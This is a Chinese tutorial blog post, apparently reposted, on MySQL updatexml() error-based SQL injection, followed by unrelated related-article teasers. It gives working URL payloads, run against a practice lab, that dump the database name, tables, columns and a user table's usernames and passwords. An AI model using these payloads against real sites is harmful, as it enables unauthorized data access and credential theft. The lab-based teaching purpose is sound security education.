SQL注入漏洞 | updatexml报错注入

news/2024/5/18 18:00:58/文章来源:https://blog.csdn.net/weixin_52116519/article/details/128259076

文章目录

    • 前言
    • MySQL updatexml报错注入

前言


  1. XML

    XML 被设计用来传输和存储数据,是各种应用程序之间进行数据传输的最常用的工具。
    在这里插入图片描述

  2. xpath

    XPath 是一门在 XML 文档中查找信息的语言。XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
    在这里插入图片描述

  3. updatexml()

    语法格式

    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称
    第二个参数:XPath_string ,代表路径,Xpath格式的字符串,例如//title[@lang]
    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    函数作用

    改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

    报错原理

    updatexml()使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

    利用方式

    updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
    其中的concat()函数是将其连成一个字符串,不符合XPATH_string的格式,从而出现格式错误,爆出ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

MySQL updatexml报错注入


  1. 开启靶场
    在这里插入图片描述
    在这里插入图片描述

  2. 数据库名

    ?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
    

    在这里插入图片描述

  3. 表名
    database()换成表名group_concat(table_name) from information_schema.tables where table_schema=database()

    ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
    

    在这里插入图片描述

  4. 列名
    database()换成user表下的列名group_concat(column_name) from information_schema.columns where table_name='user'

    ?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1)
    

    在这里插入图片描述

  5. 字段值
    database()换成user表下的字段值group_concat(id,'--',username,'--',password,'--') from user

    ?id=1 and updatexml(1,concat(0x7e,(select group_concat(id,'--',username,'--',password,'--') from user),0x7e),1)
    

    在这里插入图片描述
    一个个字段输出
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  6. 全文复现时间:一个小时。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_233422.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【GRU回归预测】基于门控循环单元GRU实现数据多维输入单输出回归预测附matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,matlab项目合作可私信。 🍎个人主页:Matlab科研工作室 🍊个人信条:格物致知。 更多Matlab仿真内容点击👇 智能优化算法 …

web期末大作业 使用HTML+CSS制作蓝色版爱宠之家带留言板(5页)

🎉精彩专栏推荐 💭文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (10…

Redis 特性。

Remote Dict Serve 分类 实时同步数据 要求缓存中的数据必须与db中的数据保持一致,如何保证,只要DB发生了变化,缓存中的数据立即消息 阶段性缓存为了缓存数据 添加了生存时长属性 Redis 的特性。 性能极高 读的速度 11w/s 写的速度 8w次/s…

代码详细教程+文档+PPT+源码等]SSM框架美妆商城全套|电商购物计算机专业毕业论文java毕业设计网站

💖💖更多项目资源,最下方联系我们✨✨✨✨✨✨ 目录 Java项目介绍 资料获取 Java项目介绍 计算机毕业设计java毕设之SSM美妆商城项目源码_哔哩哔哩_bilibili项目资料网址: http://itzygogogo.com软件下载地址:http://itzygogogo.com/itsz…

详解Pytorch中的torch.nn.MSELoss函数(包括每个参数的分析)

一、函数介绍 Pytorch中MSELoss函数的接口声明如下,具体网址可以点这里。 torch.nn.MSELoss(size_averageNone, reduceNone, reduction‘mean’) 该函数默认用于计算两个输入对应元素差值平方和的均值。具体地,在深度学习中,可以使用该函数用…

《Linux运维实战:使用Percona Backup for MongoDB逻辑备份与恢复Mongodb数据》

一、备份与恢复方案 Percona Backup for MongoDB 是一个开源、分布式和低影响的解决方案,用于MongoDB分片集群和副本集的一致备份。从版本1.7.0开始,Percona Backup for MongoDB支持物理和逻辑备份和恢复,仅支持对逻辑备份进行时间点恢复。 …

Android.mk 入门学习

我们还是采用RK3399的开发板来学习Android.mk NOTED: 在编译之前,我们需要source & lunch source build/envsetup.sh lunch rk3399_roc_pc_plus-userdebug 或者lunch后选择41 一、Android.mk介绍 Android.mk是Android提供的一种makefile文件,用来指…

物理数据库服务器扫描hba卡识别共享磁盘命令

1、问题背景 默认情况,在扩容完1套物理rac共享存储后,rac主机是不能识别共享存储的。那么该怎么办呢? 2、解决办法 例如,在扩容完1套物理rac共享存储后,如果rac主机不能识别共享存储的话(一般需要执行命令后&#x…

HashMap1.8也会发生死循环—记录

目录 代码 jstack 分析 什么是哈希表 在讨论哈希表之前,我们先大概了解下其他数据结构在新增,查找等基础操作执行性能 数组:采用一段连续的存储单元来存储数据。对于指定下标的查找,时间复杂度为O(1);通过给定值进…

代码随想录训练营day59, 下一个更大元素II, 接雨水

下一个更大元素II 给定一个循环数组, 输出每个元素的下一个更大元素, 没有则-1 所以在遍历的过程中, 模拟走了两遍nums class Solution {public int[] nextGreaterElements(int[] nums) {int len nums.length;//先进行边界判断if(nums null || len < 1){return new int…

Xinlei cheng报告学习

上面是 下面是momuten encoder 关键词 variance 方差 asymmetric不对称 momentum encoder 动量 dimension维度 convergence收敛 symmetrizationsy均衡 contrastive learning 对比学习 autoregressive自回归 distillation蒸馏 没有 fc layer +bn 裁剪后variance方差变大 cum…

[附源码]计算机毕业设计的黄河文化科普网站Springboot程序

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

JavaScript 中如何实现并发控制?

一、并发控制简介 在日常开发过程中&#xff0c;你可能会遇到并发控制的场景&#xff0c;比如控制请求并发数。那么在 JavaScript 中如何实现并发控制呢&#xff1f;在回答这个问题之前&#xff0c;我们来简单介绍一下并发控制。 假设有 6 个待办任务要执行&#xff0c;而我们…

软件测试题库怎么样 这个刷题小程序很适合临时抱佛脚

考试刷题&#xff0c;面试找工作也要刷题&#xff1f;说到这&#xff0c;可能很多都觉得不可思议&#xff0c;这找工作&#xff0c;还得提前刷题做准备&#xff1f;其实这个现象一个都有的&#xff0c;尤其是对于技术岗来说&#xff0c;由于面试官会着重询问技术相关问题&#…

COM通信栈

基于 AUTOSAR 架构的软件层概述 根据分层AUTOSAR 架构&#xff0c;软件开发是按照以下模块&#xff08;层&#xff09;&#xff08;自下而上&#xff09;实现的&#xff1a; 基本软件 (BSW) 层——这包括以下内容&#xff1a; 微控制器抽象层 (MCAL)电子控制单元 (ECU) 抽象层…

【知识图谱】(task2)知识图谱表示

note 知识图谱的符号表示方法&#xff1a; 属性图是工业界最常见的图谱建模方法&#xff0c;属性图数据库充分利用图结构特点做了性能优化&#xff0c;实用度高&#xff0c;但不支持符号推理。RDF是W3C推动的语义数据交换标准与规范&#xff0c;有更严格的语义逻辑基础&#x…

【计算机视觉+自动驾驶】二、多任务深度学习网络并联式、级联式构建详细讲解(图像解释 超详细必看)

觉得有帮助麻烦点赞关注收藏~~~ 一、多任务网络的主要分类 目前建立的多任务网络可以分为两种方法&#xff0c;一种为并联多任务网络结构&#xff0c;另一种为级联多任务网络结构&#xff0c;两种网络构建方式分别如下图所示 并联式 级联式 并联网络结构大多为共享基础网络而…

实测 ChatGPT 编程效果被其发现,这波我先站队 Stack Overflow

本文对 ChatGPT 解答编程问题的情况进行了测试。测试了不同难度的问题&#xff0c;并对 ChatGPT 的回答结果进行了鉴别。测试结果表明&#xff0c;ChatGPT 在解答简单的编程问题时表现较为出色&#xff0c;但在解决复杂的问题时则不太理想。因此&#xff0c;也总结出了如何更好…

双向链表与DFS的Unix文件储存程序

title: 双向链表与DFS的Unix文件储存程序 date: 2021-11-28 12:39:26 tags: [链表][DFS] categories:[码农日常] 写在前面 这是一篇关于python编写的小型文件储存程序&#xff0c;旨在于模拟Unix下ls、cd等的命令&#xff0c;在整一个中文互联网世界中&#xff0c;很难找到这样…

牛客网Mysql题目-SQL进阶篇 SQL 126-155

前言 这篇是进阶sql题目的记录&#xff0c;由于上一篇文章已经写将近一万字&#xff0c;有点长&#xff0c;就把剩下的再开一篇&#xff0c;免得总是重新发布 SQL126 平均活跃天数和月活人数 本题目要求统计&#xff0c;并且是多行&#xff0c;就需要使用group by查询 首先需…